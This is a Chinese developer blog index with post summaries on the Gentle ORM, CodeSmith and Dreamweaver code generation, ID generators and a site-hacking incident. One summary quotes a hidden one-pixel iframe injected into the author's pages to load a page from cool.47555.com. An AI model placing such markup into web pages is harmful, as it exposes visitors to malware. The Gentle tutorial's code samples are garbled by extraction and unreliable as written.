浪淘沙

XSpin is blogged by xPilot & Janssen
posts - 18, comments - 159, trackbacks - 0, articles - 1
  博客园 :: 首页 :: 新随笔 :: 联系 :: 订阅 订阅 :: 管理

2007年3月18日

摘要: 突然一天打开自己的网站被瑞星杀出个特洛伊来,xPilot的麦咖啡也查到了,仔细检查服务器上自己写的代码并没有什么可疑的地方,看着都是自己写的,再看看发送过来的网页代码,发现被嵌入了一个<iframe>:<iFrAmESRc=http://cool.47555.com/k.htmwidth=1height=1frameborder=0></IfRaMe>一看就估计...阅读全文

posted @ 2007-03-18 20:02 浪淘沙 阅读(3760) 评论(10) 编辑

2006年2月6日

下载样本

也许你正在为用CodeSmith或MyGeneration生成NHibernate、EasyObject、甚至是Php、jsp等和是数据库相关的东东,大量的代码是否头疼?为何不是试试看Dreamweaver呢?这个样本花费了1.5小时的时间,期间还包括了一些界面的设计。

步骤:

1.下载后放到IIS一个目录下,建虚拟目录也可以。请设置该目录为可以浏览目录,因为我没有做default或者index等默认页面。

2.修改目录下\connections\bbt.asp中的连接字符串为你需要的方式。

3.浏览器上通过http://localhost/cg/***.asp打开该目录下entity_generator.asp文件(看其他也可以,不过没做好),点击左边的表名就能看结果了:)

条件:

1.程序方面要了解一门Dreamweaver支持的语言(asp,php,jsp,cfm...),知道如何用DW来做动态网页(连接数据库、记录集、循环区域、参数 获取等常见的几个操作),这里我用asp

2.数据库方面理论上支持你熟悉的支持ODBC和OLDDb的数据库,并且要知道获取数据库架构信息的方法(sqlserver中可以读取系统表、读取information_schema、还有一个记不清名称;oracle、mysql等也有相应的方法)

3.掌握一项你要生成的目标代码的写法,哪些是公共的,哪些和字段有关,哪些可以如何如何,不要怕代码量大,因为Dreamweaver能帮你完成,你需要做的就是设计一套填空题让Dreamweaver来做。

4.然后就像快速开发一个新闻页面 或是论坛页面一样,96%的代码都是DW帮你搞定!先不要管DW生成的代码是否垃圾 或多余,但是它可以完成这种最基本的功能:理论上大多数语言、大多数数据库。

5.用熟悉了就可以对这套程序进行重构,封装,像李天平、非非、听棠等人一样发布到cnblogs,然后开源一把过过瘾。他们的东东我都测试过,但是都是很死板的代码,不如codesmith强大,可codesmith开发模板工作量也不小,希望有谁能将这些工具好好重构一下发扬光大。

我认为:工具维护软件比复杂的设计架构来得方便!

posted @ 2006-02-06 16:39 浪淘沙 阅读(692) 评论(2) 编辑

2005年10月23日

晚上花了两个小时时间,配置了一个Gentle并研究了一下。
版本:Gentle v1.2.6 下载页面http://sourceforge.net/project/showfiles.php?group_id=102032
下载的是完整版本,包含生成测试、文档、源码、输出、CodeSmith和MyGeneration代码模板,默认配置模板,这个小巧的DBRM工具基本上五脏俱全了。

步骤:
一.配置
在配置目录(Configurations)中有两个已经写好了的配置文件:
App.config
Gentle.config
Gentle官方文档声称可以只使用app.config或者web.config来配置,也可以单独写在一个Gentle.config文件中,我图省事,就将配置代码复制到自己的app.config(Asp.net中为web.config)中去了:

 

xml version="1.0" encoding="utf-8"?>
    
<configuration>
      
<appSettings>
        ... 原有appSettings配置
      
appSettings>

      
<configSections>
       {这里放入gentle和log4net的配置节
<section name= ... .../>
      
configSections>

      
<gentle>
       {复制gentle配置节的具体内容}
      
gentle>
      
<log4net>
       {复制log4net配置节的具体内容}
      
log4net>
configuration>

1.选择自己需要的是哪种数据库,Gentle支持MSSQL、Oracle、MySql、Sybase、SqlLite等多种数据库,它为每种数据库配置在注释中写了一份配置信息,只需要将注释去调,并将其它类型数据库配置信息用注释起来即可,默认的是SQLServer,
设置连接字符串:

<DefaultProvider name="SQLServer" connectionString="这里写上SqlServer的连接字符串" />

2.配置日志记录
默认的配置已经为你写好了,如果不想做日志记录可以在gentle配置节中的logging中将其关闭,注释中已经写得很清楚了,子节点Category设置一下属性:
                   
并将其它Category子节点删除或注释掉。

3.添加引用
在应用程序中添加对下面程序集的引用:
Gentle.Common.dll
Gentle.Framework.dll

添加一个数据库引擎,我使用SQLServer,所以用这个
Gentle.Provider.SqlServer

添加一个日志记录引擎(也可以用另外一个引擎QuickGraph.*.dll大家可以试试看)
log4net.dll

OK。至此配置完毕
二.程序
1.数据实体
在Contributions目录中包含了一些生成代码的模板,有CodeSmith的,也有MyGeneration的,这里我用CodeSmith。
用CodeSmith打开GentleBusinessObject.cst文件

设置以下属性:(以Northwind的Categories表为例)

context类属性
ClassName:Category,生成类名
ColumnPreString:无,(要去除的列名的前缀,比如一些设计者喜欢用cat_catid,将cat_去掉)
ForceFirstLetterOnly:True(强制只将公开属性首字母大写)
ForcePrivateLowercase:True(强制私有变量首字母小写)
ForcePublicCapitalize:True(强制大写)
RemoveUnderscore:True(去掉下划线)
SourceTable:dbo.Category(表名)
VariablePreChar:不设置(加上前缀,默认为_)

NameSpace:输入命名空间(默认为数据库名)

可选设置:
Collections:None|ArrayList|xxxCollection(返回集合时可设置使用,还能使用CodeSmith的ArrayList.cst模板生成强类型集合,但是我看了cst的源码发现作者不推荐,不知道为何
IncludeListAll:True|False(获取全部数据集合,前提是上面Collection 不能为None)
IncludeVSSHeader:True(是否包含VSS头信息)
ListByString:True(是否为每个字符型列生成ListByXXXStartsWith方法)
ObjectsForForeighKeys:False (是否为每一个外键引用对象生成为延迟加载(lazy-loaded)属性)

完毕后点“Generate”在右边查看生成结果:

/*
 * $Id: $
 *  This file generated by CodeSmith on 2005年10月23日
 
*/
/*
 * Template to generate a Gentle compatible business object from the database
 * Copyright (C) 2004 Roger Hendriks, www.fenetre.nl & James M. Curran, www.noveltheory.com
 *
 * This library is free software; you can redistribute it and/or modify it
 * under the terms of the GNU Lesser General Public License 2.1 or later, as
 * published by the Free Software Foundation. 
http://www.gnu.org/copyleft/lesser.html for details.
 *
 
*/

using System;
using
 Gentle.Framework;

namespace
 TestNameSpace
{
 
#region Category

 
/// 
 
/// TODO add description of Category here.
 
/// 

 [Serializable]
 [TableName(
"Categories"
)]
 
public class
 Category : Persistent
 {
  
#region Private member data

  [TableColumn(
"CategoryID", NotNull=true), PrimaryKey(AutoGenerated=true) ]
  
protected int
 categoryID;
  [TableColumn(
"CategoryName", NotNull=true
) ]
  
protected string categoryName =
 String.Empty;
  [TableColumn(
"Description"
) ]
  
protected string description =
 String.Empty;
  [TableColumn(
"Picture"
) ]
  
protected byte
[] picture;
  
#endregion


  
#region Constructors
  
/// 
  
/// Create  Category from existing/full data set (used by the data layer).
  
/// 

  public Category( int categoryID, string categoryName, string description, byte[] picture ) : basetrue ) 
  {
   
this.categoryID =
 categoryID;
   
this.categoryName =
 categoryName;
   
this.description =
 description;
   
this.picture =
 picture;

  }
  
/// 

  
/// Select an existing Category given its unique identifier
  
/// 

  static public Category Retrieve( int categoryID )
  {
   Key key 
= new Key( typeof(Category), true"categoryID"
, categoryID );
   
return Broker.RetrieveInstance( typeof(Category), key ) as
 Category;
  }
  
#endregion

  
  
#region Public Properties
  
/// 
  
///
 Id accesses the CategoryID column of the Categories table.
  
///
  This is the Identity column for the Table. It can only be read.
  
///

  public int Id 
  {
   
getreturn
 categoryID; }
  }
  
  
///
 
  
///
 CategoryName accesses the CategoryName column of the Categories table.
  
///

  public string CategoryName 
  {
   
getreturn
 categoryName; }
   
set{ categoryName =
 value; }
  }
  
  
///
 
  
///
 Description accesses the Description column of the Categories table.
  
///

  public string Description 
  {
   
getreturn
 description; }
   
set{ description =
 value; }
  }
  
  
///
 
  
///
 Picture accesses the Picture column of the Categories table.
  
///

  public byte[] Picture 
  {
   
getreturn
 picture; }
   
set{ picture =
 value; }
  }
  
  
#endregion



  
/// TODO: Add Properties for Many-to-Many Relationship here.
  
///
       (Note, they are included as comments in the class file for the linking table)
  
///
 
 
    
 }
 
#region CodeSmith Parameters

 
// The follow parameters were used with CodeSmith to create this file:
 
//

 
// SourceTable : dbo.Categories
 
//
 ClassName: Category
 
//
 Namespace: TestNameSpace
 
//
 VariablePreChar: 
 
//
 ColumnPreString: 
 
//
 ForcePrivateLowercase: True
 
//
 ForcePublicCapitalize: True
 
//
 RemoveUnderscore: True
 
//
 IncludeVSSHeader: True
 
//
 ListByString: True
 
//
 ObjectsForForeignKeys: True
 
//
 IncludeListAll: True
 
// Collections: None

 
 
#endregion

 
 
#endregion Category
}


是不是很酷?它并不需要像NHibernate那样还得写一个*.hbm.xml文件,尽管那也可以用工具生成代码,但我总觉得NHibernate的这种做法有点多余。同样的内容要写两个地方感觉不好


2.操作

有了Category数据实体后,便可以对其进行操作,一个简单的操作例子:

Category category = new Category();//注意Northwind的Category中CategoryID是自增长字段,category不论你设置为什么值,插入记录后都变为实际编号
Gentle.Framework.Broker.Insert(category);//插入记录

//声明一个Key,这里使用CategoryID列

Gentle.Framework.Key key = new Key(typeof(Category),true,"CategoryID",4);
//读取对象

Category category = Gentle.Framework.Broker.RetrieveInstance(typeof(Category),key) as Category;
//读取对象也可以这么写,注意如果获取不到记录会抛出异常

Category category = (Category)Gentle.Framework.Broker.RetrieveInstance(typeof(Category),key);


其它,可以通过Gentle读取单个实体,也可以读取父/子对象,支持列表读取、分页读取、结果可以自动缓存也可以手动缓存等,功能还是比较完善的,我暂时还没发现对于主键的生成有哪些支持,毕竟只用了一个晚上,好多功能慢慢发掘吧,休息了。

posted @ 2005-10-23 21:01 浪淘沙 阅读(2712) 评论(6) 编辑

2005年10月21日

在Winform中编程要打开XP风格的方法不外乎是使用manifest文件和Application.EnableVisualStyle()方法(MSDN里面都有详细介绍),但是使用Image属性的控件都将无法显示图片了,不爽,不知道除了DIY和第三方控件还有谁能想到一些解决办法

posted @ 2005-10-21 20:10 浪淘沙 阅读(919) 评论(3) 编辑

2005年9月1日

摘要: 前文一个ID生成器的确简单,不能解决并发带来的重复性问题。这里完整地写一个ID生成器。其中做了一些并发问题的处理。原理:获取系统时间,并在其后加上一个随机数sample:将IdentityGenerator实例化后可直接获取Embacle.Identity.IdentityGenerator ig = new Embacle.Identity.IdentityGenerator();long id...阅读全文

posted @ 2005-09-01 19:23 浪淘沙 阅读(3674) 评论(11) 编辑

2005年8月30日

摘要: 帮一个朋友导数据时就发生自动编号的主键发生重复,花了我大半天的时间。累死了。给他们写了一个小工具,生成时间戳的代码:publicclassIdentityGenerator{privatestaticRandomrandom;publicstaticlongGetIdentity(){longid=(DateTime.Now.Ticks-(newDateTime(2000,1,1,0,0,0)))...阅读全文

posted @ 2005-08-30 14:44 浪淘沙 阅读(3717) 评论(19) 编辑

2005年6月5日

摘要: 尝试了一遍又一遍,终于找到了博客园账号的注册信箱和密码,窃喜之余发现一个逻辑上的Bug:1.以测试为名,在博客园中进入“忘记密码”,输入了正确的账号和油箱,发送新密码成功;2.如果一时半会儿想不起来油箱的密码,就没有进入油箱查看密码;3.这时候原来的密码已经被永久性重置为发送到油箱中的密码了,如果我永远都进入不了这个油箱,那么我就永远无法使用这个账户,Faint,小小的测试玩笑害得我为此半年多不能...阅读全文

posted @ 2005-06-05 12:40 浪淘沙 阅读(529) 评论(0) 编辑

2004年9月1日

摘要: 由于项目要求,公司需要把一些项目的数据库转移成Oracle,而原来几乎都是使用SqlServer的。突然间发现,2~3年的SqlServer开发和使用经验,其实并没有给我学习Oracle带来多少优势,相反在初学Oracle的时候,还经常被缠绕在脑中的SqlServer的很多模式所困扰。Oracle是一个系统而庞大的平台,其实已经不仅仅只是一个数据库那么简单了。所以对我来说,无论是其管理还是开发,几...阅读全文

posted @ 2004-09-01 13:43 浪淘沙 阅读(2887) 评论(3) 编辑

摘要: 终于看到MSDN中文站上出现了Scott Mitchell 的Url Rewriting in ASP.NET那篇文章的翻译,太好了,可以和自己原先翻译的进行一下对比,这样可以增加一下英文的功底了吧。英文原文:http://msdn.microsoft.com/library/en-us/dnaspp/html/urlrewriting.aspMSDN的翻译:http://www.microsof...阅读全文

posted @ 2004-09-01 12:56 浪淘沙 阅读(1483) 评论(0) 编辑

2004年8月20日

posted @ 2004-08-20 13:55 浪淘沙 阅读(4926) 评论(22) 编辑

摘要: 博客园和博客堂好像是同一个服务器,要挂都是同时挂前几天博客园出错,紧接着无法访问,接着Joycode也连不上了阅读全文

posted @ 2004-08-20 09:50 浪淘沙 阅读(747) 评论(1) 编辑

2004年8月18日

摘要: 最近一直在研究C#的套接字编程,发现弄来弄去.NET的System.Net.Sockets类几乎已经把整个.NET的网络开发给封装的严严实实了。当然,好处是开发网络应用程序速度快效率高,但是同时也阻止了我们继续向下挖掘的更深层次网络通讯原理的脚步了。我认为作为一般的网络程序员,倒是没必要非要把TCP/IP搞个精通,但话又说回来,要是这些底层的东西一点不懂,要想开发出好的网络应用程序,也不是件易事。...阅读全文

posted @ 2004-08-18 17:17 浪淘沙 阅读(2831) 评论(3) 编辑

2004年8月16日

摘要: 一个.NET的开源项目,使用C#语言。对于不太喜欢目前.NET v1.1的System.Web.Mail的朋友来说,是一个不错的选择,其支持认证SMTP的方式比System.Web.Mail要来的方便的多。目前的版本已经相对稳定了,当然可能压力方面还有待改进,因为我看了它的源码发现,几乎所有的集合(邮件地址,附件)等等,作者都使用ArrayList,对于.NET v1.1的ArrayList来说,...阅读全文

posted @ 2004-08-16 08:59 浪淘沙 阅读(4382) 评论(16) 编辑

2004年8月13日

摘要: 最近准备利用.NET的套接字开发一个类似QQ的IM组件,先写了一个Udp信息收发静态类!也不是很完善,暂时先储备着,以后重构用!usingSystem;usingSystem.Net;usingSystem.Net.Sockets;usingSystem.Text;namespaceXChatLib{/**////<summary>///MessageUtility消息工具类,该类是一...阅读全文

posted @ 2004-08-13 17:37 浪淘沙 阅读(1504) 评论(4) 编辑

2004年8月12日

摘要: 9月份就要辞职和MM一起读研究生了,重新过上清贫的生活,工作三年的确感触颇深,一定要用这三年的时间把自己的英语和基础知识补上,不虚此行。2月份考完试顺势翻译的关于URL Rewriting的资料,一直都不敢贴上来,看得太多翻译糟糕和被骂的口水话,不过还是硬着头皮和xPilot申请一个公用Blog,壮壮胆贴了出来,居然被收藏了N多,感觉颇有成就感!:)hoho,好像有点自大了?还是应该谦虚一下吧.....阅读全文

posted @ 2004-08-12 08:13 浪淘沙 阅读(1409) 评论(9) 编辑

2004年8月6日

posted @ 2004-08-06 15:35 浪淘沙 阅读(1359) 评论(6) 编辑

摘要: 关注Blog很长一段时间,却一直没一个属于自己的Blog。本以为也无所谓,毕竟上网久了,当初办homepage,回复网友bbs的激情,不知不觉消退无影。渐趋平淡而波澜不惊的生活中偶遇Blog这种新的交流方式。俗话说人以类聚,物以群分,走出Internet初期那种人人homepage,个个bbs式泛而全的交流方式,现在确实到了需要专而精的类聚式的交流,正好在老同事Janssen的提议下,合作一个Bl...阅读全文

posted @ 2004-08-06 09:22 浪淘沙 阅读(710) 评论(0) 编辑

2004年8月5日

摘要: 公共目录一起维护,两个私人目录嘛,互不干涉嘎。by Janssen阅读全文

posted @ 2004-08-05 17:45 浪淘沙 阅读(735) 评论(0) 编辑